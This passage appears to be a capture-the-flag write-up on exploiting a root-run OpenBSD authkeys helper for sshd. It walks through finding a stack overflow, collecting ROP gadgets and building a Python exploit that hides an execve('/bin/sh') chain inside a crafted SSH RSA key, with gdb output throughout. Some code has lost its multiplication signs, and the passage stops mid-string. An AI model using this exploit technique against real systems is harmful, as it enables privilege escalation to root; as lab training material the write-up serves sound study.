attended$ cd ~/authkeys attended$ ls -la total 24 drwxr-x--- 2 freshness freshness 512 Nov 16 13:57 . drwxr-x--- 4 freshness freshness 512 Nov 12 16:56 .. -rw-r--r-- 1 root wheel 5424 Nov 16 13:35 authkeys -rw-r----- 1 root freshness 178 Nov 6 2019 note.txt attended$ cat note.txt on attended: [ ] enable authkeys command for sshd [x] remove source code [ ] use nobody on attendedgw: [x] enable authkeys command for sshd [x] remove source code [ ] use nobody
Based on /etc/ssh/sshd_config
, the authkeys
command takes four arguments and is owned by root:
attended$ cat /etc/ssh/sshd_config #AuthorizedKeysCommand /usr/local/sbin/authkeys %f %h %t %k #AuthorizedKeysCommandUser root
Based on the OpenBSD sshd_config documentation:
%f
The fingerprint of the key or certificate.
%h
The home directory of the user.
%t
The key or certificate type.
%k
The base64-encoded key or certificate for authentication.
5.2 MY OWN OPENBSD INSTANCE
I created my own local OpenBSD instance to aid in exploiting the authkeys binary and inside, I edited the sshd_config
file:
$ ssh -l jebidiah 192.168.222.134 obsd$ cat /etc/ssh/sshd_config AuthorizedKeysCommand /usr/local/sbin/authkeys %f %h %t %k AuthorizedKeysCommandUser root
5.3 FINDING THE BUFFER OVERFLOW
Looking at the disassembly of something is written to 0x6010c0
:
0x400345 [os] ; CODE XREF from entry0 @ 0x40033e 0x00400345 4889c1 mov rcx, rax 0x00400348 48bfc0106000. movabs rdi, 0x6010c0 0x00400352 4889e6 mov rsi, rsp 0x00400355 f3a4 rep movsb byte [rdi], byte ptr [rsi] 0x00400357 4c89e6 mov rsi, r12 0x0040035a 4881c4000300. add rsp, 0x300 0x00400361 4831c0 xor rax, rax 0x00400364 4831f6 xor rsi, rsi 0x00400367 4889f7 mov rdi, rsi 0x0040036a 5a pop rdx 0x0040036b c3 ret
And based on gdb
that address is part of the .data
segment of the memory which is the corresponding virtual address space of a program that contains initialized static variables:
obsd$ gdb authkeys (gdb) info files Symbols from "/home/jebidiah/authkeys". Local exec file: `/home/jebidiah/authkeys', file type elf64-x86-64. Entry point: 0x400240 0x0000000000400240 - 0x00000000004003d2 is .text 0x00000000005003d2 - 0x00000000005003ea is .note.openbsd.ident 0x0000000000601000 - 0x00000000006013c0 is .data
Since I know that the key should be base64 encoded, I created an encoded string of "A"s:
$ python -c 'print "A" * 100' | base64 | tr -d '\n'
Then running it in gdb and setting a breakpoint to 0x00400361
:
(gdb) break * 0x00400361 (gdb) run 1 2 ssh-rsa QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQo= (gdb) x/12xg 0x6010c0 0x6010c0: 0x4141414141414141 0x4141414141414141 0x6010d0: 0x4141414141414141 0x4141414141414141 0x6010e0: 0x4141414141414141 0x4141414141414141 0x6010f0: 0x4141414141414141 0x4141414141414141 0x601100: 0x4141414141414141 0x4141414141414141 0x601110: 0x4141414141414141 0x4141414141414141
The keys argument is decoded and written to 0x6010c0
. Now, to create a long enough buffer to induce a segmentation fault:
$ msf-pattern_create -l 1000 | base64 | tr -d '\n'
(gdb) break * 0x00400361 (gdb) run 1 2 ssh-rsa QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc2QWc3QWc4QWc5QWgwQWgxQWgyQWgzQWg0QWg1QWg2QWg3QWg4QWg5QWkwQWkxQWkyQWkzQWk0QWk1QWk2QWk3QWk4QWk5QWowQWoxQWoyQWozQWo0QWo1QWo2QWo3QWo4QWo5QWswQWsxQWsyQWszQWs0QWs1QWs2QWs3QWs4QWs5QWwwQWwxQWwyQWwzQWw0QWw1QWw2QWw3QWw4QWw5QW0wQW0xQW0yQW0zQW00QW01QW02QW03QW04QW05QW4wQW4xQW4yQW4zQW40QW41QW42QW43QW44QW45QW8wQW8xQW8yQW8zQW80QW81QW82QW83QW84QW85QXAwQXAxQXAyQXAzQXA0QXA1QXA2QXA3QXA4QXA5QXEwQXExQXEyQXEzQXE0QXE1QXE2QXE3QXE4QXE5QXIwQXIxQXIyQXIzQXI0QXI1QXI2QXI3QXI4QXI5QXMwQXMxQXMyQXMzQXM0QXM1QXM2QXM3QXM4QXM5QXQwQXQxQXQyQXQzQXQ0QXQ1QXQ2QXQ3QXQ4QXQ5QXUwQXUxQXUyQXUzQXU0QXU1QXU2QXU3QXU4QXU5QXYwQXYxQXYyQXYzQXY0QXY1QXY2QXY3QXY4QXY5QXcwQXcxQXcyQXczQXc0QXc1QXc2QXc3QXc4QXc5QXgwQXgxQXgyQXgzQXg0QXg1QXg2QXg3QXg4QXg5QXkwQXkxQXkyQXkzQXk0QXk1QXk2QXk3QXk4QXk5QXowQXoxQXoyQXozQXo0QXo1QXo2QXo3QXo4QXo5QmEwQmExQmEyQmEzQmE0QmE1QmE2QmE3QmE4QmE5QmIwQmIxQmIyQmIzQmI0QmI1QmI2QmI3QmI4QmI5QmMwQmMxQmMyQmMzQmM0QmM1QmM2QmM3QmM4QmM5QmQwQmQxQmQyQmQzQmQ0QmQ1QmQ2QmQ3QmQ4QmQ5QmUwQmUxQmUyQmUzQmU0QmU1QmU2QmU3QmU4QmU5QmYwQmYxQmYyQmYzQmY0QmY1QmY2QmY3QmY4QmY5QmcwQmcxQmcyQmczQmc0Qmc1Qmc2Qmc3Qmc4Qmc5QmgwQmgxQmgyQgo= (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040036b in ?? () (gdb) x/xg $rsp 0x7f7ffffd45d8: 0x42306142397a4138
Checking at what offset in the buffer the return address was overwritten with:
$ msf-pattern_offset -l 1000 -q 42306142397a4138 [*] Exact match at offset 776
The return address is overwritten after 776 bytes!
5.4 STARTING THE EXPLOIT CODE
The payload offset is adjusted by 22 bytes for the added bytes by the SSH key constructor and another 8 bytes for the consideration of RBP and finally writing the new return address:
from Crypto.PublicKey import RSA from pwn import # Public Key Generation============================================= def generateRSAPublicKey(payload): n = int("".join([format(ord(x),"02x") for x in payload]),16) print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8")) # Payload Buffer==================================================== payload = "" payload += "A" (768 - 22) # buffer payload += "B" 8 # rbp payload += "C" 8 # ret addr # Payload Generation================================================ generateRSAPublicKey(payload)
Checking in with gdb, the return address is now "CCCCCCCC":
$ python3 test.py ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC+kFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkJDQ0NDQ0NDQw==
(gdb) break * 0x00400361 (gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC+kFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkJDQ0NDQ0NDQw== (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040036b in ?? () (gdb) x/xg $rsp 0x7f7ffffd45d8: 0x4343434343434343
5.5 ROP GADGETS
There is a syscall instruction available so perhaps execve()
may be an option:
$ python3 -m ropper -f authkeys 0x00000000004003cf: syscall; 0x00000000004003cf: syscall; ret;
Checking if there’s a way to control RAX, there are a few gadgets that can help set the desired value for the register:
$ python3 -m ropper -f authkeys 0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret; 0x000000000040036d: not al; adc cl, 0xe8; ret; 0x0000000000400370: shr eax, 1; ret;
Finally, gadgets that can help set the values of RDI, RSI, and RDX which requires conversion from a single precision floating point value to an integer and a pointer assignment for RDX when used with movups
:
$ python3 -m ropper -f authkeys 0x0000000000400380: cvtss2si esi, xmm0; ret; 0x0000000000400367: mov rdi, rsi; pop rdx; ret; 0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret; 0x000000000040036a: pop rdx; ret;
5.6 CONTROLLING RAX
The binary value of "3B" (execve syscall) is "111011". What will happen when mov eax, 0xffffffff; xor rcx, rcx; ret;
is that RAX will be set to 0xFFFFFFFF
or 11111111111111111111111111111111
.
From there we can use right bitshifts and the not operator to get the correct value but take note that the not al
operator only converts the last two bytes so if our current value is the one mentioned earlier, 0xFFFFFFFF
, we need to shift the bits to the right 24 times to achieve 0x000000FF
:
# After shifting 24 bits: HEX BINARY INSTRUCTION -------- -------------------------------- -------------------------- 000000FF 00000000000000000000000011111111 0000007F 00000000000000000000000001111111 shr eax, 1; ret; 00000080 00000000000000000000000010000000 not al; adc cl, 0xe8; ret; 00000040 00000000000000000000000001000000 shr eax, 1; ret; 00000020 00000000000000000000000000100000 shr eax, 1; ret; 00000010 00000000000000000000000000010000 shr eax, 1; ret; 000000EF 00000000000000000000000011101111 not al; adc cl, 0xe8; ret; 00000077 00000000000000000000000001110111 shr eax, 1; ret; 0000003B 00000000000000000000000000111011 shr eax, 1; ret;
Translating the following into the exploit code:
from Crypto.PublicKey import RSA from pwn import # Public Key Generation============================================= def generateRSAPublicKey(payload): n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1 print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8")) # Payload Buffer==================================================== payload = "" payload += "A" (768 - 22) # buffer payload += "B" * 8 # rbp # Controlling RAX=================================================== payload += p64(0x00400394) # mov eax, 0xffffffff; xor rcx, rcx; ret; for i in range(0,24): payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x0040036d) # not al; adc cl, 0xe8; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x0040036d) # not al; adc cl, 0xe8; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0) # Payload Generation================================================ generateRSAPublicKey(payload)
Now trying the new payload from exploit code:
$ python test.py ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAAAAAAAAAAAAAQ==
(gdb) break * 0x00400361 (gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAAAAAAAAAAAAAQ== (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0000000000400372 in ?? () (gdb) info register $rax rax 0x3b 59
The RAX register has been controlled!
5.7 CONTROLLING RDI, RSI, AND RDX
These three registers will serve as the arguments for the execve function:
int execve(const char pathname, char const argv[], char *const envp[]);
Based on the OpenBSD sshd_config documentation:
RDI
const char *pathname
/bin/sh
RSI
char *const argv[]
["/bin/sh", "-c", "<command>"]
RDX
char *const envp[]
NULL
However, controlling the three registers is a bit tricky using the following gadgets:
$ python3 -m ropper -f authkeys 0x0000000000400380: cvtss2si esi, xmm0; ret; 0x0000000000400367: mov rdi, rsi; pop rdx; ret; 0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret; 0x000000000040036a: pop rdx; ret;
To set the value of RDI, the process will go as follows:
-
Set the value of RDX to be the pointer to the address of your intended RDI. The value of RDX should be a floating point number since it will be converted later on to the desired value.
-
Convert the value of RDX from a single precision floating point number to an integer using the
cvtss2si
gadget which will set its value to RSI. -
Move the value to RDI from RSI.
I created a function to that will convert the address to its single precision floating point number equivalent:
def convertAddressToFP(address): addr_int = int(str(address)) binary = "" while addr_int > 0: binary += str(addr_int % 2) addr_int = int(addr_int/2) binary = binary[::-1] significant_left = binary.find("1") decimal_adj = len(binary[significant_left+1:]) exponent_precision = 127 + decimal_adj exponent = "" while exponent_precision > 0: exponent += str(exponent_precision % 2) exponent_precision = int(exponent_precision/2) exponent = exponent[::-1] mantissa = binary[significant_left+1:].ljust(23,"0") binary_string = "0" + exponent + mantissa return int(binary_string, 2)
To set the value of RSI, just follow the steps above from 1 until 3. Finally, to set the value of RDX, there is simply a pop rdx; ret
gadget available. With all this information, the exploit code has been modified to the following:
from Crypto.PublicKey import RSA from pwn import # Floating Point Conversion========================================= def convertAddressToFP(address): addr_int = int(str(address)) binary = "" while addr_int > 0: binary += str(addr_int % 2) addr_int = int(addr_int/2) binary = binary[::-1] significant_left = binary.find("1") decimal_adj = len(binary[significant_left+1:]) exponent_precision = 127 + decimal_adj exponent = "" while exponent_precision > 0: exponent += str(exponent_precision % 2) exponent_precision = int(exponent_precision/2) exponent = exponent[::-1] mantissa = binary[significant_left+1:].ljust(23,"0") binary_string = "0" + exponent + mantissa return int(binary_string, 2) # Public Key Generation============================================= def generateRSAPublicKey(payload): n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1 print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8")) # Command Execution Payload========================================= payload = "" payload += p64(convertAddressToFP(0x006010d6 + 0x30)) payload += p64(convertAddressToFP(0x006010d6 + 0x10)) payload += p64(0x006010d6 + 0x30) payload += p64(0x006010d6 + 0x38) payload += p64(0x006010d6 + 0x40) payload += p64(0) payload += "/bin/sh" + "\x00" payload += "-c" + ("\x00" 6) payload += "echo $(id) > /tmp/jebidiah" + "\x00" # TEST COMMAND # Payload Buffer==================================================== payload += "A" (768 - 22 - len(payload)) # buffer payload += "B" 8 # rbp # Controlling RAX=================================================== payload += p64(0x00400394) # mov eax, 0xffffffff; xor rcx, rcx; ret; for i in range(0,24): payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x0040036d) # not al; adc cl, 0xe8; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x0040036d) # not al; adc cl, 0xe8; ret; payload += p64(0x00400370) # shr eax, 1; ret; payload += p64(0x00400370) # shr eax, 1; ret; # Controlling RDI, RSI, RDX========================================= payload += p64(0x0040036a) # pop rdx; ret; payload += p64(0x006010d6) # RDI -> Pointer to "/bin/sh" payload += p64(0x0040037c) # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret; payload += p64(0x00400380) # cvtss2si esi, xmm0; ret; payload += p64(0x00400367) # mov rdi, rsi; pop rdx; ret; payload += p64(0x006010d6 + 0x08) # RSI -> Pointer to argv addresses payload += p64(0x0040037c) # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret; payload += p64(0x00400380) # cvtss2si esi, xmm0; ret; payload += p64(0x0040036a) # pop rdx; ret; payload += p64(0) # RDX set to NULL payload += p64(0) # Payload Generation================================================ generateRSAPublicKey(payload)
$ python test.py ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEUgwiwEoAAAAAzCHASgAAAAAGEWAAAAAAAA4RYAAAAAAAFhFgAAAAAAAAAAAAAAAAAC9iaW4vc2gALWMAAAAAAABlY2hvICQoaWQpID4gL3RtcC9qZWJpZGlhaABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAABqA0AAAAAAANYQYAAAAAAAfANAAAAAAACAA0AAAAAAAGcDQAAAAAAA3hBgAAAAAAB8A0AAAAAAAIADQAAAAAAAagNAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
(gdb) break * 0x0040036a (gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEUgwiwEoAAAAAzCHASgAAAAAGEWAAAAAAAA4RYAAAAAAAFhFgAAAAAAAAAAAAAAAAAC9iaW4vc2gALWMAAAAAAABlY2hvICQoaWQpID4gL3RtcC9qZWJpZGlhaABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAABqA0AAAAAAANYQYAAAAAAAfANAAAAAAACAA0AAAAAAAGcDQAAAAAAA3hBgAAA